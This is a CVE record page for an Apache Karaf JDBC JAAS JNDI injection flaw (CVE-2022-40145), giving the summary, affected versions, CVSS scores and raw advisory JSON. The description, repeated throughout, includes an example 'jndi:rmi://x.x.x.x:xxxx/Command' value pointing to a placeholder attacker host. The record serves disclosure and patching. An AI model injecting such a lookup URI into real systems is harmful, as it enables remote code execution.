CVE-2022-40145 (GCVE-0-2022-40145)

Vulnerability from cvelistv5 – Published: 2022-12-21 15:23 – Updated: 2025-04-15 18:03
VLAI?
Summary
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Severity ?
No CVSS data available.
CWE
  • CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  • CWE-20 - Improper Input Validation
Assigner
References
Impacted products
Vendor Product Version
Apache Software Foundation Apache Karaf Affected: 4.4.0 , < 4.4.2 (maven)
Affected: 0 , < 4.3.8 (maven)
Create a notification for this product.
Credits
Xun Bai <bbbbear68@gmail.com>
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T12:14:39.957Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://karaf.apache.org/security/cve-2022-40145.txt"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2022-40145",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-15T18:02:30.458673Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-15T18:03:47.618Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Apache Karaf",
          "vendor": "Apache Software Foundation",
          "versions": [
            {
              "lessThan": "4.4.2",
              "status": "affected",
              "version": "4.4.0",
              "versionType": "maven"
            },
            {
              "lessThan": "4.3.8",
              "status": "affected",
              "version": "0",
              "versionType": "maven"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Xun Bai \u003cbbbbear68@gmail.com\u003e"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThis vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\u003cbr\u003e\u003cbr\u003eThe function jaas.modules.src.main.java.por\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eg.apache.karaf.jass.modules.\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003ejdbc.JDBCUtils#doCreateDatasou\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003erce\u003c/span\u003e\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003euse InitialContext.lookup(jndiName\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e) without filtering.\u003cbr\u003eAn user can modify\u0026nbsp;\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e`options.put(JDBCUtils.DATASOU\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eRCE, \"osgi:\" +\u0026nbsp;\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eDataSource.class.getName());` to `options.put(JDBCUtils.DATASOU\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eRCE,\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\"jndi:rmi://x.x.x.x:xxxx/Comma\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003end\");` in JdbcLoginModuleTest#setup.\u003c/span\u003e\u003cbr\u003e\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThis is vulnerable to a remote code execution (RCE) attack when a\u003c/span\u003e\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003econfiguration uses a JNDI LDAP data source URI when an attacker has\u003c/span\u003e\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003econtrol of the target LDAP server.\u003c/span\u003e\u003cp\u003eThis issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\u003c/p\u003eWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"
            }
          ],
          "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify\u00a0`options.put(JDBCUtils.DATASOURCE, \"osgi:\" +\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "text": "low"
            },
            "type": "Textual description of severity"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-74",
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20 Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-12-21T15:23:42.847Z",
        "orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
        "shortName": "apache"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://karaf.apache.org/security/cve-2022-40145.txt"
        }
      ],
      "source": {
        "defect": [
          "KARAF-7568"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Karaf: JDBC JAAS LDAP injection",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
    "assignerShortName": "apache",
    "cveId": "CVE-2022-40145",
    "datePublished": "2022-12-21T15:23:42.847Z",
    "dateReserved": "2022-09-07T08:02:30.677Z",
    "dateUpdated": "2025-04-15T18:03:47.618Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "fkie_nvd": {
      "configurations": "[{\"nodes\": [{\"operator\": \"OR\", \"negate\": false, \"cpeMatch\": [{\"vulnerable\": true, \"criteria\": \"cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*\", \"versionEndExcluding\": \"4.3.8\", \"matchCriteriaId\": \"CEDC6799-2894-4DB9-A66B-9481580EDC66\"}, {\"vulnerable\": true, \"criteria\": \"cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*\", \"versionStartIncluding\": \"4.4.0\", \"versionEndExcluding\": \"4.4.2\", \"matchCriteriaId\": \"3320F4C0-A9F6-43C3-B473-1E56EFD0086D\"}]}]}]",
      "descriptions": "[{\"lang\": \"en\", \"value\": \"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\\n\\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\\nuse InitialContext.lookup(jndiName) without filtering.\\nAn user can modify\\u00a0`options.put(JDBCUtils.DATASOURCE, \\\"osgi:\\\" +\\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\\\"jndi:rmi://x.x.x.x:xxxx/Command\\\");` in JdbcLoginModuleTest#setup.\\n\\nThis is vulnerable to a remote code execution (RCE) attack when a\\nconfiguration uses a JNDI LDAP data source URI when an attacker has\\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\\n\\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8\"}, {\"lang\": \"es\", \"value\": \"Esta vulnerabilidad se trata de una posible inyecci\\u00f3n de c\\u00f3digo cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La funci\\u00f3n jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, \\\"osgi:\\\" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,\\\"jndi:rmi://xxxx:xxxx/Command \\\");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecuci\\u00f3n remota de c\\u00f3digo (RCE) cuando una configuraci\\u00f3n utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8.\"}]",
      "id": "CVE-2022-40145",
      "lastModified": "2024-11-21T07:20:58.460",
      "metrics": "{\"cvssMetricV31\": [{\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"baseScore\": 9.8, \"baseSeverity\": \"CRITICAL\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"NONE\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 3.9, \"impactScore\": 5.9}]}",
      "published": "2022-12-21T16:15:08.930",
      "references": "[{\"url\": \"https://karaf.apache.org/security/cve-2022-40145.txt\", \"source\": \"security@apache.org\", \"tags\": [\"Vendor Advisory\"]}, {\"url\": \"https://karaf.apache.org/security/cve-2022-40145.txt\", \"source\": \"af854a3a-2127-422b-91ae-364da2661108\", \"tags\": [\"Vendor Advisory\"]}]",
      "sourceIdentifier": "security@apache.org",
      "vulnStatus": "Modified",
      "weaknesses": "[{\"source\": \"security@apache.org\", \"type\": \"Secondary\", \"description\": [{\"lang\": \"en\", \"value\": \"CWE-20\"}, {\"lang\": \"en\", \"value\": \"CWE-74\"}]}, {\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"description\": [{\"lang\": \"en\", \"value\": \"NVD-CWE-Other\"}]}]"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2022-40145\",\"sourceIdentifier\":\"security@apache.org\",\"published\":\"2022-12-21T16:15:08.930\",\"lastModified\":\"2025-04-15T18:15:44.667\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\\n\\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\\nuse InitialContext.lookup(jndiName) without filtering.\\nAn user can modify\u00a0`options.put(JDBCUtils.DATASOURCE, \\\"osgi:\\\" +\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\\\"jndi:rmi://x.x.x.x:xxxx/Command\\\");` in JdbcLoginModuleTest#setup.\\n\\nThis is vulnerable to a remote code execution (RCE) attack when a\\nconfiguration uses a JNDI LDAP data source URI when an attacker has\\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\\n\\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8\"},{\"lang\":\"es\",\"value\":\"Esta vulnerabilidad se trata de una posible inyecci\u00f3n de c\u00f3digo cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La funci\u00f3n jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, \\\"osgi:\\\" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,\\\"jndi:rmi://xxxx:xxxx/Command \\\");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecuci\u00f3n remota de c\u00f3digo (RCE) cuando una configuraci\u00f3n utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9},{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security@apache.org\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-20\"},{\"lang\":\"en\",\"value\":\"CWE-74\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"NVD-CWE-Other\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.3.8\",\"matchCriteriaId\":\"CEDC6799-2894-4DB9-A66B-9481580EDC66\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.4.0\",\"versionEndExcluding\":\"4.4.2\",\"matchCriteriaId\":\"3320F4C0-A9F6-43C3-B473-1E56EFD0086D\"}]}]}],\"references\":[{\"url\":\"https://karaf.apache.org/security/cve-2022-40145.txt\",\"source\":\"security@apache.org\",\"tags\":[\"Vendor Advisory\"]},{\"url\":\"https://karaf.apache.org/security/cve-2022-40145.txt\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://karaf.apache.org/security/cve-2022-40145.txt\", \"tags\": [\"vendor-advisory\", \"x_transferred\"]}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2024-08-03T12:14:39.957Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 9.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}, {\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2022-40145\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-04-15T18:02:30.458673Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-04-15T18:03:02.485Z\"}}], \"cna\": {\"title\": \"Apache Karaf: JDBC JAAS LDAP injection\", \"source\": {\"defect\": [\"KARAF-7568\"], \"discovery\": \"EXTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"type\": \"reporter\", \"value\": \"Xun Bai \u003cbbbbear68@gmail.com\u003e\"}], \"metrics\": [{\"other\": {\"type\": \"Textual description of severity\", \"content\": {\"text\": \"low\"}}}], \"affected\": [{\"vendor\": \"Apache Software Foundation\", \"product\": \"Apache Karaf\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.4.0\", \"lessThan\": \"4.4.2\", \"versionType\": \"maven\"}, {\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"4.3.8\", \"versionType\": \"maven\"}], \"defaultStatus\": \"unaffected\"}], \"references\": [{\"url\": \"https://karaf.apache.org/security/cve-2022-40145.txt\", \"tags\": [\"vendor-advisory\"]}], \"x_generator\": {\"engine\": \"Vulnogram 0.1.0-dev\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\\n\\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\\nuse InitialContext.lookup(jndiName) without filtering.\\nAn user can modify\\u00a0`options.put(JDBCUtils.DATASOURCE, \\\"osgi:\\\" +\\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\\\"jndi:rmi://x.x.x.x:xxxx/Command\\\");` in JdbcLoginModuleTest#setup.\\n\\nThis is vulnerable to a remote code execution (RCE) attack when a\\nconfiguration uses a JNDI LDAP data source URI when an attacker has\\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\\n\\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eThis vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\u003cbr\u003e\u003cbr\u003eThe function jaas.modules.src.main.java.por\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eg.apache.karaf.jass.modules.\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003ejdbc.JDBCUtils#doCreateDatasou\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003erce\u003c/span\u003e\u003cbr\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003euse InitialContext.lookup(jndiName\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003e) without filtering.\u003cbr\u003eAn user can modify\u0026nbsp;\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003e`options.put(JDBCUtils.DATASOU\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eRCE, \\\"osgi:\\\" +\u0026nbsp;\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eDataSource.class.getName());` to `options.put(JDBCUtils.DATASOU\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eRCE,\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003e\\\"jndi:rmi://x.x.x.x:xxxx/Comma\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003end\\\");` in JdbcLoginModuleTest#setup.\u003c/span\u003e\u003cbr\u003e\u003cbr\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eThis is vulnerable to a remote code execution (RCE) attack when a\u003c/span\u003e\u003cbr\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003econfiguration uses a JNDI LDAP data source URI when an attacker has\u003c/span\u003e\u003cbr\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003econtrol of the target LDAP server.\u003c/span\u003e\u003cp\u003eThis issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\u003c/p\u003eWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-74\", \"description\": \"CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-20\", \"description\": \"CWE-20 Improper Input Validation\"}]}], \"providerMetadata\": {\"orgId\": \"f0158376-9dc2-43b6-827c-5f631a4d8d09\", \"shortName\": \"apache\", \"dateUpdated\": \"2022-12-21T15:23:42.847Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2022-40145\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-04-15T18:03:47.618Z\", \"dateReserved\": \"2022-09-07T08:02:30.677Z\", \"assignerOrgId\": \"f0158376-9dc2-43b6-827c-5f631a4d8d09\", \"datePublished\": \"2022-12-21T15:23:42.847Z\", \"assignerShortName\": \"apache\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.